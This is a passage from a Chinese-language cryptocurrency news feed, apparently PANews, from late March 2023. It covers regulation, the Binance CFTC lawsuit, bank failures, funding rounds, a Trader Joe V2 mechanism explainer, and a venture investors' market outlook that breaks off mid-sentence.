    PANews 3月29日消息，英国财政部推特发文称，加密货币推广法规有望在今年年底生效。这些规定旨在保护消费者免受“误导性加密资产促销”的影响，并适用于所有从英国或海外向英国消费者进行的加密宣传推广活动。英国《金融服务和市场法》修正案草案于周一公布，它将使英国金融行为监管局（FCA）能够根据现有法规来监管加密公司的推广活动。该法案还包括对加密公司的限时豁免。英国议会将很快讨论该修正案。  ( 4 min )
    加拿大要求联邦监管养老基金披露加密货币敞口
    PANews 3月29日消息，据CoinDesk报道，加拿大联邦政府在新的2023年预算计划中表示，为了帮助保护加拿大退休人群，政府将要求受联邦监管的养老基金向加拿大金融监管局（OSFI）披露其加密资产敞口。去年，总部位于魁北克的养老基金Caisse de Depot et Placement du Quebec表示，已冲销了对Celsius Network 1.5亿美元的投资。安大略省教师养老金计划去年也表示，将其在FTX的9500万美元投资减计为0。近几个月来，加拿大一直在收紧对加密货币行业的监管。今年2月，加拿大证券管理局(CSA)发布新规，要求在该国运营的加密货币交易所遵守“加强的投资者保护承诺”。  ( 4 min )
    Galaxy Digital仍计划在美国上市，SEC注册文件正在审核中
    PANews 3月29日消息，据Blockworks报道，Galaxy Digital的最新年报显示，仍计划在重组成为特拉华州注册公司并完成必要的SEC审查后在美国上市。Galaxy最近的修订注册文件已于2023年2月提交给SEC，目前正在审核中。据此前消息，Galaxy Digital公布2022年净亏损10亿美元，其中第四季度亏损2.88亿美元。该公司将亏损归因于其投资组合的未实现市值。该公司表示，预计其经营业务将在今年第一季度录得净利润。  ( 4 min )
    FDIC要求Signature Bank加密客户下周前取款
    PANews  3月29日消息，据CoinDesk报道，美国联邦存款保险公司(FDIC)已要求Signature Bank的加密货币客户在下周之前取款。FDIC此前已将Signature剩余资产出售给纽约社区银行，但交易不包括约40亿美元的加密货币相关存款，也不包括Signature的数字支付平台Signet。FDIC发言人表示，仍在试图出售Signet，并计划在4月5日之前清算加密存款。据悉，FDIC一直在联系加密货币储户，并鼓励他们寻找另一家可接受这些存款的银行。发言人表示，如果这些客户无法找到新银行，他们将收到一张支票。政府对Signature储户的救助(包括加密客户的未投保存款)预计将花费FDIC保险基金25亿美元。据此前消息，Signature前管理层正在接受调查，因为其行为可能导致了银行破产。  ( 4 min )
    Voyager出售加密资产，向Circle发送1.5亿美元USDC
    PANews 3月29日消息，据The Block报道，链上数据显示，Voyager Digital已向Circle发送了1.5亿美元的USDC，以将其兑换成美元。这是Voyager出售加密资产战略的一部分。今年2月，Voyager将约1.544亿美元的USDC从Coinbase转移至该公司公开标记为“Voyager 1”的以太坊钱包。据此前消息，美国纽约南区地方法院地方法官Jennifer Rearden批准了美国司法部提出的暂缓Voyager将其资产出售给Binance.US的计划，该申请此前已获得一名破产法官的批准。 上个月，美国证券交易委员会（SEC）、纽约金融服务部和纽约州总检察长都反对Binance.US收购Voyager的计划，称Voyager出售加密货币可能违反证券法。  ( 4 min )
    Lido将发行与ETH取款请求挂钩的NFT
    PANews 3月29日消息，据CoinDesk报道，流动性质押协议Lido公布了NFT发行计划，每个NFT代表了用户的ETH取款请求。取款将在下个月以太坊完成上海升级后启用。Lido的产品经理Mariya Muzyko表示，用户可以在Lido解除stETH质押，并按照1:1的比例收到ETH。一旦用户请求取款，他们将收到Lido发行的代表其取款请求的NFT。然后，用户可以使用NFT来领取他们的ETH奖励。在用户赎回他们的ETH后，NFT将被销毁。每个NFT都是可转让的，这意味着用户可以将NFT转移到另一个地址，使新地址有权获得相应的ETH奖励。Lido表示，如果用户决定在二级市场上出售他们的NFT，将不会从中收取版税。取款周期大约需要1至5天，取决于取款的stETH数量和取款请求数量。  ( 4 min )
    华尔街日报：Radix Trading为CFTC对币安诉讼中提到的三家量化公司之一
    PANews 3月29日消息，据《华尔街日报》报道，总部位于芝加哥的交易公司Radix Trading表示，它就是美国商品期货交易委员会(CFTC)周一对币安诉讼中提到的身份不明的“交易公司A”。在诉讼中，CFTC提到了至少三家总部位于美国的量化交易公司。尽管美国客户本应被禁止在币安交易，但这三家交易所仍然活跃于币安。Radix联合创始人Benjamin Blander表示，Radix通过离岸子公司和一家主要经纪商在币安交易了几年，该公司在加密连接方面的所有事情都经过了法律审查。Blander还表示，Radix在起诉前正与CFTC合作，他不认为Radix是任何调查的目标。  ( 4 min )
    Kraken与F1威廉姆斯车队达成赞助合作
    PANews 3月29日消息，据The Block报道，加密交易所Kraken与F1威廉姆斯车队合作，成为该车队首个官方加密货币和Web3合作伙伴。Kraken计划将部分NFT收藏品显示在威廉姆斯赛车的后翼，Kraken品牌也将在2023赛季剩余时间在威廉姆斯车身展示。Kraken表示，还将推出包括独家内容、粉丝弹出窗口和联名商品在内的额外福利。  ( 4 min )
    报告：朝鲜黑客组织APT43使用加密服务洗钱
    PANews 3月29日消息，根据情报公司Mandiant的一份新报告，朝鲜黑客组织APT43使用算力租赁和云挖矿等加密服务来洗钱。报告中称，美国和韩国是该组织的两个主要攻击目标。与APT38等其他朝鲜组织不同，APT43的主要任务并不是为政府筹集资金，而很可能是为了维持自身的运作。Mandiant表示，APT43可能使用盗窃的比特币来支付算力租赁费和云挖矿服务，并生产出“干净的比特币”。云挖矿服务为任何人提供远程挖矿比特币的机会，只需支付一定的费用便可使用，而无需直接安装和运行矿机。  ( 4 min )
    质押协议开发商EigenLabs完成5000万美元A轮融资，Blockchain Capital领投
    PANews 3月29日消息，据CoinDesk报道，质押协议开发商 EigenLabs 在 Blockchain Capital 领投的 A 轮融资中筹集了 5000 万美元。资金来自 EigenLabs 准备在全年分阶段推出其 EigenLayer 协议的初始版本。该轮融资的其他支持者包括 Electric Capital、Polychain Capital、Hack VC、Finality Capital Partners 和 Coinbase Ventures 等。EigenLabs 上一次筹集资金是在 8 月，由 Polychain Capital 和 Ethereal Ventures 领投的 1450 万美元种子轮融资。 相关阅读：EigenLayer：通过再质押（Re-Staking）打造以太坊上的共识中枢  ( 4 min )
    加密基础设施Conduit完成Paradigm领投的700万美元种子轮融资
    PANews 3月28日消息，加密基础设施初创公司 Conduit 宣布完成 700 万美元种子轮融资，Paradigm 领投，Robert Miller、Ludwig Pettersson、Dan Romero、Guillaume Poncin、Joshua Ma和Lakshman Sankar参投。新资金将帮助 Conduit 继续其首个产品发布并实现其实现盈利的目标。 Conduit 提供托管服务，帮助开发人员轻松快速地将他们的应用程序部署到 Optimism。Conduit 和 Optimism Foundation 将共同努力，支持开发人员在链上启动应用程序并过渡到其即将推出的 Superchain 区块链网络。  ( 4 min )
    Polygon zkEVM现已完全开源，漏洞赏金高达100万美元
    PANews 3月28日消息，Polygon Labs宣布其 Polygon zkEVM 已在AGPL v3许可下完全开源。Polygon zkEVM 主网测试版也已经同步启动。目前已经设置了高达 100 万美元的漏洞赏金用于记录关键漏洞。  ( 4 min )
    法庭文件：美国公布针对FTX创始人SBF的13项新起诉
    PANews 3月28日消息，据Walter Bloomberg，法庭文件显示，美国公布了针对 FTX 加密货币交易所创始人 SAM BANKMAN-FRIED 的 13 项新起诉书。美国在新的贿赂阴谋指控中指控 BANKMAN-FRIED 指导转移至少 4000 万美元的加密货币以贿赂中国政府官员。根据指控，这笔交易是为了影响和诱导中国官员解冻 FTX 附属公司 Alameda Research 的加密货币账户。 据 FT 报道，检察官称，SBF 和他的同伙考虑并尝试了“多种方法”来解冻这些账户，其中包含价值约 10 亿美元的加密货币。2021 年 11 月左右，SBF 将一笔当时价值约 4000 万美元的贿赂款从 Alameda 转移到了一个私人加密钱包中。在付款时或前后，账户被解冻。  ( 4 min )
    PA日报｜币安及其CEO被美国CFTC起诉；ConsenSys的zkEVM测试网上线并更名为Linea
    今日要闻提示： 彭博社：香港监管机构正召集加密公司和银行之间的会议，以促该行业融资 币安及其CEO因违反监管规定被美国CFTC起诉 工信部就《区块链和分布式记账技术标准体系建设指南（2023版）》公开征求意见 知情人士：迪士尼预计裁员7000人，包括裁撤元宇宙部门 ConsenSys的zkEVM测试网上线并更名为Linea EOS EVM最终测试网已上线 Galaxy Digital 2022年净亏损10亿美元，其中Q4亏损2.88亿美元 比特小鹿将上市纳斯达克，估值约11.8亿美元 监管消息 币安CEO因违反监管规定被美国CFTC起诉 据彭博社报道，交易平台币安CEO赵长鹏因违反监管规定被美国商品期货交易委员会（CFTC）在芝加哥联邦法院提起诉讼。CFTC表示，币安没有正确注册，从而逃避了义务。 至少从 2021 年开始，CFTC 就一直在调查 Binance 是否未能阻止美国居民买卖加密货币衍生品。CFTC 规则通常要求平台在允许美国人交易这些产品时向该机构注册。美国CFTC将寻求在币安案件中对其实施永久性的交易和注册禁令。 CZ回应遭起诉：忽略FUD。并表示，币安使用多种手段阻止美国客户，本人从未参与币安Launchpad和期货交易。 随后，美国CFTC主席称，币安案是持续的欺诈行为，将在法庭上就此案积极辩论 彭博社：香港监管机构正召集加密公司和银行之间的会议，以促该行业融资 据彭博社报道，中国香港监管机构正在召集加密公司和银行家之间的会议，以促进该行业的融资。 据该媒体看到的活动细节，圆桌会议将于4月28日在香港金融管理局举行，“以促进直接对话”和 “分享开设和维护银行账户的实际经验和观点”。该会议将由香港金融管理局和证券及期货事务监察委员会联合举行，这两个监管机构负责监督稳定币和加密货币交易所。 香港金管局和证监会的发言人表示，他们不会就任何细节发表评论，但补充说，他们正在与利益相关者保持对话。 工信部就《区块链和分布式记账技术标准体系建设指南（2023版）》公开征求意见 工信部今日就《区块链和分布式记账技术标准体系建设指南（2023版）》（征求意见稿）公开征求意见。其中提出，到2023年，明确区块链和分布式记账技术标准体系顶层设计，研究标准体系建设和标准研制的总体规则，明确标准间的关系，重点开展基础共性标准研制，基本满足我国区块链和分布式记账技术标准化需求。到2025年，进一步完善国家区块链和分布式记账技术标准体系，持续推动区块链和分布式记账技术基础共性、关键应用示范和安全保障等标准，有效指导我国区块链产业建设，提升技术与应用服务水平。 NFT 美国法院驳回对世界首件NFT数字艺术品“Quantum”的版权归属权诉讼 据Businesswire报道，美国纽约地方法院上周驳回了加拿大公司Free Holdings对世界上第一件已知NFT数字艺术品“Quantum”的所有权诉讼。这件作品于2014年首次由数字艺术家Kevin McCoy创作，并于2021年在苏富比拍卖中以147万美元售出。 去年2月，Free Holdings的相关方向纽约地方法院提起诉讼，声称自己才是“Quantum”的合法所有者，并指控苏富比提供虚假的艺术品状态报告。原告认为，McCoy允许他的所有权在2014年至2021年期间失效。在此期间，Free Holdings在Namecoin上获得了Quantum区块链记录。Free Holdings使用McCoy七年前使用的命名空间创建了一个新的NFT，他还复制了原始元数据。 法院在决议书中判定，该公司未曾参与作品的创作，并指出该诉讼行为只不过是利用现有的NFT所有权法律空白，来窃取合法创作者的利益。 元宇宙 Otherside将推出基于收藏的2D策略游戏LOTM，4月初可申领Vessel NFT 据官方推特，Yuga Labs旗下元宇宙平台Otherside宣布将推出基于收藏的2D策略游戏Legends of the Mara（LOTM），将从“Otherside:2nd Trip”活动结束后开始。 该游戏引入了一个名为Mara的全新NFT系列，该系列可以进化为Kodamara。该游戏始于Vessel NFT。每个Otherdeed持有人可以领取一个Vessel NFT，申领将从4月初开放。每个认领的Vessel将作为一个单独的ERC-721代币发送到Otherdeed持有钱包，并带有一个新的智能合约/NFT集合。除了通过申领获得外，还可以通过交易平台购买和出售Vessel。5月开始，玩家可准备保卫Otherside。 据介绍，Koda是Otherside的主要守护者，在该游戏中，他们是擅长耕种、施法和狩猎的人。通过该游戏，玩家将了解更多关于Koda的信息，包括他们的起源和他们与Otherside的原始关系，以Mara的形式遇到一些新学徒，并了解更多关于整个LOTM中Otherside的故事。Vessel可以成长为被称为Mara的学徒，在合适的条件下，使用合适的催化剂，可以进化成更熟练的Kodamara。他们都是防御异方的得力助手，尽管与古代的Koda相比，他们的力量受到了很大的限制。 知情人士：迪士尼预计裁员7000人，包括裁撤元宇宙部门 据华尔街日报报道，知情人士透露，迪士尼已开启首轮裁员，预计裁员7000人，这是其2月宣布的55亿美元成本削减计划的关键部分。第一批员工将在未来四天内收到裁员通知，第二轮规模更大的裁员将在4 月份进行，将影响数千名员工，其中裁员计划的一部分是裁撤元宇宙部门，该团队的大约50名成员将全部被裁。 项目动态 ConsenSys的zkEVM测试网上线并更名为Linea ConsenSys 宣布将其 Layer2 解决方案 ConsenSys zkEVM 测试网正式上线并品牌重塑为 Linea，目前已向所有开发人员、用户或协议开放测试。Linea 使开发人员能够不受限制地构建可扩展的 DApp。另外，通过 MetaMask 和 Truffle 等原生集成，Linea将零知识证明与 EVM 等效性相结合，为开发人员提供灵活性和可扩展性，而无需 ZK 技术专业知识。 Euler攻击者为其行为道歉，并称会尽快归还剩余资金 据Coindesk报道，Euler Finance攻击者在链上发送消息为其行为道歉：“我不认为我说的话对我有任何帮助，但我还是想说出来。我搞砸了。我不想这么做，但我却搅乱了别人的钱，别人的工作，别人的生活。我真的搞砸了。我很抱歉。我不是那个意思。原谅我。剩下的钱会尽快归还。我只关心我自己的安全，这就是延误的原因。很抱歉有任何误会。” 此前今日早些时候消息，Euler Finance攻击者今日向Euler部署者账户返还了23214.15枚ETH和1070万枚Dai，又将800万枚DAI转至Euler：Multisig 2地址。 币安将上线LDO/TUSD、OP/TUSD、MATIC/TUSD等6个TUSD相关交易对 据官方公告，币安宣布将于北京时间3月29日16:00上线 LDO/TUSD、MATIC/TUSD、OP/TUSD、SOL/TUSD、SSV/TUSD、XRP/TUSD交易对，用户可在这些交易对享受零挂单手续费，直至另行通知。 此外，今日晚些时候消息，币安将于3月29日20:00上线JOE 1-20倍U本位永续合约。 EOS EVM最终测试网已上线 据官方推特，EOS网络基金会宣布EOS EVM最终测试网已上线，随着安全审计的进行，EVM主网也即将准备就绪。 此前消息，EOS EVM主网Beta发布时间为4月14日。 知情人士：Genesis高管曾在特权下提前购买了FTX支持的加密货币 据英国《金融时报》报道，知情人士透露，加密贷款机构Genesis高管有特权提前获得FTX支持的加密货币，即在FTT（2019年推出的FTX原生代币）和Serum（在FTX和 Alameda的支持下于2020年推出）向公众发行之前，FTX创始人Sam Bankman-Fried（SBF）以折扣价向Genesis高管门出售。 据知情人士透露，FTT和Serum代币以及Solana也被Genesis接受为Alameda抵押的抵押品，以担保其借款。 Genesis于1月倒闭，长期以来一直是Alameda Research的主要资金来源。根据美国破产法庭的记录，Genesis是FTX和Alameda最大的债权人，欠债2.26亿美元。 Starknet主网将于本周进行Alpha v0.11.0升级 Starknet基金会在推特上表示，以太坊Layer2扩容解决方案Starknet的主网Alpha v0.11.0升级提案已获得投票通过，该升级现在定于本周进行。 此前3月22日消息，Starknet已在测试网上发布Alpha v0.11.0版本，Cairo 1.0已启动。 蚂蚁集团：于隽曾是外派至A&T Capital的工作人员，目前已办结离职手续 据澎湃新闻报道，针对A&T Capital原负责人于某（即于隽）因涉嫌性侵于3月9日被杭州公安立案调查，有网友称于某为蚂蚁集团高管，蚂蚁方面作出回应。蚂蚁有关人士表示，于某曾是蚂蚁外派至海外基金（即A&T Capital）的工作人员，今年3月6日向公司提出离职，目前已办结离职手续。于某在办理离职交接手续期间，当事女生家属于3月17日到公司提出与于某沟通的诉求。公司要求于某全力配合警方调查。目前警方也已经介入处理，一切信息以警方披露为准。公司对于违法违规及不道德行为一贯绝不姑息。 此前昨日消息，A&T Capital表示，于隽正接受有关单位调查，公司内部已成立独立调查组。 Coinbase将Flare (FLR)列入上币路线图 Coinbase Assets发推表示，已将Flare (FLR)列入上币路线图。 MakerDAO启动的Maker章程获得投票通过 在已结束的Maker章程投票中，76%的人投票赞成批准由Maker首席执行官兼联合创始人Rune Christensen撰写的“Maker章程”。Maker章程是一组提案，相关规则用于锁定MakerDAO运营范围。Maker章程有11条条款和12个范围框架，旨在规范MakerDAO操作流程。它提供了关于总体稳定性、去中心化和风险、前端治理、选民委员会和授权等各种平台相关功能的指导。这些框架将把MakerDAO的操作集中在实现Endgame目标上，使MakerDAO能够在短期内扩大其货币市场投资并增加协议收入。 Galaxy Digital 2022年净亏损10亿美元，其中Q4亏损2.88亿美元 据The Block报道，加拿大上市的加密货币投资公司Galaxy Digital年报显示2022年净亏损10亿美元，而2021年实现的利润为17亿美元。它还报告第四季度亏损2.88亿美元。该公司将亏损归因于其投资组合的未实现市值。该公司表示，预计其经营业务将在今年第一季度录得净利润。 矿业消息 比特小鹿将上市纳斯达克，估值约11.8亿美元 据美通社报道，美国证券交易委员会（SEC）已宣布Bitdeer Technologies Group（BTG，比特小鹿）的F-4的注册声明生效，该表格与Bitdeer和Blue Safari之前宣布的拟议业务合并有关。 Blue Safari将于4月11日举行临时股东大会以批准业务合并等事项；合并后的公司BTG将成为纳斯达克上市公司，估值约为11.8亿美元，股票代码为“BTDR”。企业合并预计将在Blue Safari股东批准并满足委托书和注册声明中所述的其他惯例成交条件后不久完成。  ( 5 min )
    硅谷银行美股盘前暴跌97.41%，报2.75美元
    PANews 3月28日消息，硅谷银行美股盘前暴跌97.41%，报2.75美元。此前，第一公民银行同意收购硅谷银行，交易包括以165亿美元的折扣价购买约720亿美元的硅谷银行过渡银行的资产，且第一公民银行承担的所有存款将继续由FDIC承保，最高可达保险限额。签名银行美股盘前跌超99%，将于周二开始在场外交易（OTC）。  ( 4 min )
    欧盟反洗钱条例获得议会经济事务和内政委员会投票通过
    PANews 3月28日消息，据The Block报道，欧洲议会经济事务和内政委员会的成员以99票赞成、8票反对和5票弃权投票通过反洗钱条例。经过政策制定者和利益相关者之间数周的反复谈判，委员会成员就他们的文本版本达成一致，该文本将在议会进行全体投票。然后，它将进入机构间谈判，议会、欧洲理事会和欧盟委员会将需要达成协议。 如果该法规通过，信贷和金融机构在实现价值超过1000欧元（1080美元）的加密货币交易时，将需要采取尽职调查措施。此外，对于与欧盟以外的加密货币服务提供商的代理关系，以及涉及自助钱包的支付，都有强化的尽职调查措施。禁止与未经许可的实体建立商业关系。对于商业加密支付，除非确定钱包所有者，否则将限制来自自托管钱包的价值超过1,000欧元的交易。  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.03.28）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 4 min )
    美国CFTC主席：币安案是持续的欺诈行为，将在法庭上就此案积极辩论
    PANews 3月28日消息，据金十报道，美国商品期货交易委员会（CFTC）主席：（当谈及交易平台币安时）这似乎是一个非常明显的逃税案例，我们需要积极介入，尽快行动，因为这是持续的欺诈行为。关于此案的证据不言自明，将在法庭上就此案积极辩论。  ( 4 min )
    Galaxy Digital 2022年净亏损10亿美元，其中Q4亏损2.88亿美元
    PANews 3月28日消息，据The Block报道，加拿大上市的加密货币投资公司Galaxy Digital年报显示2022年净亏损10亿美元，而2021年实现的利润为17亿美元。它还报告第四季度亏损2.88亿美元。该公司将亏损归因于其投资组合的未实现市值。该公司表示，预计其经营业务将在今年第一季度录得净利润。 2022年11月报道，GalaxyDigital持有7680万美元FTX风险敞口，Q3净亏6810万美元。  ( 4 min )
    ARB交易额暴增，币价逆势拉升，揭秘Trade Joe V2机制的独特之处
    原文：《ARB 交易大放异彩，揭秘 Trade Joe V2》 作者：CapitalismLab 最近 Trade joe V2 因为从 Uniswap 手里抢到大量 Arb 交易份额而火爆，币价迅速翻倍。那么其究竟是如何做到的？为其提供流动性又需要注意些什么？ 本文将带你深入浅出的了解 Joe V2 的机制，分析其为何能在$ARB 交易中获取大量份额，以及产品的优劣势，帮助你更好地理解 DEX。 Trade Joe V2 简单概括：   AMM 机制 接下来以 Joe V2 中的 ARB/ETH 20bps 池为例来进行深入分析，首先我们看一下池的流动性分布，咋一看跟 UNI V3 是挺像的。 那么其根本性不同在什么地方？Joe V2 的一个长条（bin）即对应一个单点价格，就是说除非你把这个 bin 的流动性消耗光，否则价格是不会变化的。比如下图，可以看到该 Bin 内有大约 35k Arb 和 2 ETH，如果此时有人按 0.00066 卖了价值 2E 的 Arb，那么交易的 Bin 就会向左移动一位，价格才会发生变化。 我们再对该池尝试添加流动性，发现是可以添加单点流动性，就是说添加的流动性就在一个价格上，这其实就相当于在订单簿中放一个 Maker 单。那旁边的 Pct Rage = 0.20% 是怎么回事？ 我们稍微移动一下右侧滑钮，将价格范围扩大到 2Bin，然后计算两个价格的相对差别。 (0.00067237272-0.00067103065)/0.00067103065 = 0.20% 也就是说 0.20% 就是最小价格精度 我们看下偏离当前价格较大的情况如何，比如 ARB/ETH = 0.0001 的位置。可以得出 /0.00010015473 = 0.20% 对的，可以理解为任一位置上下价格之差都是 0.2%，基于比例而非固定数值。这是和传统订单簿相差较大的地方，传统订单簿一般给一个固定数值的最小精度，比如 0.01 USDT 这样。 Joe 的 UI 也给出了 4 种添加流动性的方式，点击上图右上角的「learn more」就可以学到对其详细的定义，但是除了 Spot 之外，其他四种都是使用官方设定的参数值，不可控。所以我建议使用 Spot，存法类似 UNI V3, 大不了多存几个不同价格范围的。另外目前 Joe V2 目前有流动性激励，必须考虑这个的收益。 目前这些池名后带有「Rewards」标签的是有流动性挖矿激励的 Joe V2 的流动性挖矿激励分配模式： 1. 根据 LP 实际获取的交易手续费和 MakerTVL 算出分数，参见下图 2. MakerTVL 目前只看当前价格 +- 5bin 内的，比如 Arb/ETH 0.2% 的 Bin 宽度，那么只有当前价格 +-1% 以内的 TVL 才会被记入 3. 当一个 Epoch 结束后，统计该 Epoch 之内的分数然后按比例集中发放 就是说如果想要获取流动性激励，还是需要比较集中地提供流动性。 如想知道更多细节，可见文档 假设当前市场在持续买入 Arb，Uniswap Arb/USDC = 1.005，假设 Joe V2 的价格精度为 1%，bin 分布为 [0.99, 1.00, 1.01…]。这个时候 Joe 当前的 bin 应为 1.00，比 Uni 便宜 0.5%，那只要交易费比这个差距小，通过 1inch 等聚合器买入 Arb 的交易自然就会优先走 Joe，反之如果是卖 Arb 的话 Joe 就没有优势。也就是说其在高波动率出单边行情下较有优势，而低波动率猴市下则比较平庸。 加上 Joe 针对 ARB/ETH 的交易对设置了 0.2% 的费用，而在当时由于波动预期较高，UNI 又只能设置 0.01%/0.05% / 0.3%/1% 这四档，大部分 LP 位于 0.3% 以上档位，相比 Joe 的 0.2% 又有劣势。 高波动率下的经常性汇率优势 + 相对较低的费率，使得 Joe V2 在 ARB0.00启动初期获取了大量的份额。目前随着波动率的下降，其汇率也不再有经常性优势；UNI V3 LP 回归 0.05% 费用的池子，也基本失去费率优势，所幸名声打出来了，加上其有不错的激励机制，给了项目方更大的操作空间。 实际上在上面的 Arb 交易份额论述中，其 AMM 机制带来的优劣已经说明，这一节讨论其他方面： 优势： 1. 垂直聚合流动性带来更好的可组合性 2. 高效率+支持激励，可以拿到合作方的激励，比如有望受益于 LSD war 劣势： 1. 没有成熟的 Bribe 等代币赋能机制，代币持有者收益有限 2. 无常损失相对较大 优势：可组合性 由于在 Joe V2 中，流动性是通过每个 bin 垂直聚合的，而在 Uniswap V3 中，流动性是横向聚合的。垂直聚合的主要好处是它允许流动性可替代。 我们看一笔具体添加流动性的交易，会发现在用户添加 ETH/USDC 后，Joe 给用户返回了大量不同 Token ID 的 ERC-1155 LBT，反应了用户在不同价格水平上的流动性分布。 这跟返回单个 NFT 的 UNI V3 有较大差别。因为相同 Token ID 代表流动性位于单个 Bin/价格水平内，这是同质化的，具有更好的可组合性。 优势：合作方激励预期 集中流动性高效率+支持激励，有望吸引到 LSD 等有流动性需求的合作方来提供激励，比如此前 UNI V3+ 激励 模式 Kyberswap, 就从 Lido 拿到了仅次于 Curve 的激励分配（参见下方推文），并且占据了极大的 Alt-l1/L2 的 LSD 交易量份额。 那么能够提供类似价值的 Joe V2 理论上也有这个机会，从而提升 TVL 和交易量。 劣势：代币赋能问题 如我下方推文所述，纯现货 DEX，如果没有 bribe 这类额外赋能机制的话，是比较困难的，空有 TVL 和交易量却无法转化为代币持有者的收益。 目前是 Joe 通过手续费抽成来获取收益，但抽多了又势必影响份额。Joe 虽然有 Ve Joe, 但并不是复制 Curve 走 Bribe 这条路，目前看来并不十分成功，因此代币赋能仍然是个问题。 劣势：无常损失相对较大 如前文所述，单边行情下 Joe V2 有经常性汇率优势，但这对于 LP 而言实际上是承担了更大的无常损失，相当于更便宜的把币卖了。 Joe 会合理设置费用来补足这一点，比如 1% bin 宽度的 ARB/USDC 费用为 0.8%，0.2% bin 宽度的 ARB/ETH 费用为 0.2%。加上此点并不容易察觉，所以还好。 Trade Joe V2 相对 UNI V3 在效率上更多的是做到了特定场景下的差异化优势，而高可组合性这个优势的发挥非常依赖其的自身规模。因此后续应该持续关注项目方的 BD 等操作，看能否 BD 到足够的合作激励，构建起增长飞轮。  ( 6 min )
    Argent提醒Argent X用户尽快更新帐户，否则将无法访问钱包账户和资产
    PANews 3月28日消息，智能合约钱包 Argent 发推称 Starknet 正在升级，提醒 Argent X 用户尽快更新帐户，否则之后将无法访问钱包账户和资产。钱包界面显示“Update Required”的用户需尽快进行升级。不显示“Update Required”的钱包用户不需要进行升级。为 Starknet 移动用户提供的浏览器钱包不会受到影响。  ( 4 min )
    银行危机爆发，比特币“V型反转”，加密VC们对今年市场行情和叙事都有什么看法？
    原文：《当比特币趋势反转后，VC们对今年的市场预期改变了多少？》 作者：Jack 2022 年底市场进入深熊以来，人们对下一轮市场周期的预期大都放在了 2024 年比特币减半之际，而对 2023 年的市场行情并不看好。从今年初的行情表现来看，似乎的确如此。尽管市场情绪迎来「春季躁动」，但更多呈现出的还是板块和热点的快速轮动，并没有新资金入场的迹象。 本月初，硅谷银行暴雷，涟漪效应在数日后波及加密市场。USDC 因其发行商 Circle 在 SVB 有存款而遭到挤兑，出现大幅脱钩，市场似乎又将滑入冰点。但令人意外的是，美联储的救援及时到来，暂时缓解了银行业的流动性危机。紧接着，就是比特币在随后两天里迎来一轮「暴力拉升」，日内涨幅罕见地达到 20%。突如其来的上涨打乱了许多投资者的阵脚，在懊悔踏空之余，大家又开始思考：比特币今年还会上涨吗？对此，BlockBeats 列出了 8 个市场最期望得到答案的问题，并向以下几位知名机构投资者征集了看法： BMAN，ABCDE Capital。ABCDE 由 Huobi 联合创始人杜均和前 Internet&crypto 创始人 BMAN 共同创立，致力于投资和支持 Web3 Builders； Jason，Folius Ventures。Folius Ventures 投资、普及、并参与构建 Web3 生态，致力于支持亚太及华人创业者； Pima，Continue Capital。Continue Capital 成立于 2016 年，专注于投资和孵化全球区块链技术、早期技术初创和提供量化交易服务； Bill，Cypher Capital。Cypher Capital 是一家总部位于阿联酋的多策略的 Crypto 投资基金，覆盖 VC、二级市场、节点、BTC 挖矿等领域； Jerry，Synergis Capital。Synergis Capital 致力于投资下一代早期初创企业，并通过激活自身的范式引领者网络以推动企业的发展。 BlockBeats 注，文中回答多于 3 月 24 日前，过去一周发生了不少突发事件，比特币价格走势也发生了较大变化，更加凸显出投资者们观点的洞见性。以下是 BlockBeats 提问及机构投资者们的回答： BMAN - ABCDE Capital：市场已经经历多轮去杠杆，我们观测到大量机构资金在 BTC 1.8 万至 2 万美元区间买入，倾向于认为底部已经出现，不会再创新低。下半年有多个大型项目落地上线测试网，明年比特币再度减半，市场距离牛市还差一个叙事，就像 2020 年的 DeFi Summer，值得期待。 Jason - Folius Ventures：个人偏悲观。从紧缩到宽松的转变正在发生，但宽松后的风险资产价格及可能重回的通胀将可能导致美联储出现政策错误，同时叠加实际炸雷导致美国进入更深度衰退。市场有可能在 Q3 对此进行定价。个人更倾向于上半年努力，下半年走一步看一步。 Pima - Continue Capital：4 万美元以上，下半年谨慎。 Bill - Cypher Capital：BTC 从 2022 年 LUNA 事件开始跌到了 3 万美元以下的区间后，BTC 在这个区间盘整了大半年了。既然是 LUNA 事件是叠加宏观因素导致了部分资金离开了这个市场从而导致的下跌的话，如果我们能看到更多的资金重新进入这个市场，我们会对 BTC 的后续走势有信心。这次的 SVB 事件，第一次出现了银行股和 BTC 完全不同的行情，我们觉得未来这样的分道扬镳的行情可能会更多。 Jerry - Synergis Capital：加密市场整体方向的走势与宏观经济环境有着很大的关联性。本次美联储加息 25 个基点，市场反应为 5 月加息后就终结本轮加息周期，这是本轮加息周期首次由鹰转鸽的拐点，也是我们预料之中「something broke」后的结果。虽然暂时美联储在点阵图上比市场预期来的要更加鹰派一些，但这也是在通胀没有下来之前保持 loop 意料之中的手段。总体来说我们认为短期的紧缩顶峰已经过去，美联储将会继续缓解近期的流动性需求，所以我们短期持续看好本轮的牛市。至于中期能持续多久，主要取决于下半年美国经济环境有多疲软，以及参考粘性最强的薪资和非住房服务部门的通胀数据。长期来看，周期性宏观叙事的主旋律已经从底层改变，美元美债的霸主地位正在被动摇，随着去全球化下的新秩序变革，加密资产有机会在此币缘之争的舞台上大放异彩，但伴随着的也将是持续不断的波动。 BMAN - ABCDE Capital：同问题 1. Jason - Folius Ventures：未完全解决，但市场已经大约预判了未来可能出现的问题，以及美联储即将因此问题所作出更宽松的选择。因此即使问题未完全解决，个人认为上半年风险资产将继续向好。 Pima - Continue Capital：各方博弈施压美联储，流动性短期缓解；全球对抗导致「廉价能源+人口红利低端制造+消费」的低通胀全球化分工模式产生逆转，要看最不容易下降的后半段通胀率如何降低，下半年是个观察的窗口期，难谈反转。 Bill - Cypher Capital：需要注意的是美联储的 BTFP 计划解决的银行的流动性危机和风险资产市场的流动性并不是一个东西。BTFP 计划并不是永久地将债券等资产从银行的资产负债表中拿走，这个和之前的量化宽松是不一样的。在银行的救助后加密货币市场已经反弹了很多，我们应该更前瞻性地看市场风险的问题。 Jerry - Synergis Capital：我们认为 SVB 的救助计划加上坚持持续加息的两个动作已经确认了美联储会通过使用资产负债表工具来解决短期准备金短缺问题的决心，所以我们认为反转的节点已经到来，短期流动性紧缩的峰值已经过去。 BMAN - ABCDE Capital：一方面是规避银行破产的资金流入 BTC，一方面是市场上涨初期都是 BTC 的吸血行情。 Jason - Folius Ventures：BTC 更多跟随黄金+长债交易衰退，而 ETH 